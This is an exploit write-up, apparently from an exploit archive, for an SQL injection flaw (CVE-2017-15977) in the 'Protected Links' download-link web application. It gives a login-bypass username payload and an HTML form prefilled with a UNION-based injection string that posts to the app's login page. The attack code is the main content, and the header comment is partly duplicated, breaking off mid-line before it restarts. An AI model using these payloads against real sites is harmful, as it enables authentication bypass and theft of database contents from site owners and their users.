Protected Links SQL Injection

<!--
# # # # #
# Exploit Title: Protected Links - Expiring Download Links - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://sixthlife.net/
# So <!--
# # # # #
# Exploit Title: Protected Links - Expiring Download Links - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://sixthlife.net/
# Software Link: https://codecanyon.net/item/protected-links-expiring-download-links/2556861
# Demo: http://protectedlinks.net/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15977
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/admin
#
# User: 'or 1=1 or ''=' Pass: anything
#
# Etc..
# # # # #
-->
<form name="login" method="post" action="http://localhost/[PATH]/index.php">
<div id="login">
<table width="200" border="0">
<tr>
<td height="45"><p>Username</p></td>
<td><label for="textfield"></label>
<input type="text" name="username" id="textfield" value="' UNION ALL SELECT 1,CONCAT(VERSiON(),0x494853414e2053454e43414e),3,4,CONCAT(0x494853414e2053454e43414e)-- Ver Ayari"/></td>
</tr>
<tr>
<td height="45">Password</td>
<td><label for="textfield"></label>
<input type="password" name="password" id="textfield" value="Ver Ayari"/></td>
</tr>
</table>
</div>
<input type="submit" name="submit" value="LOGIN" />
</form>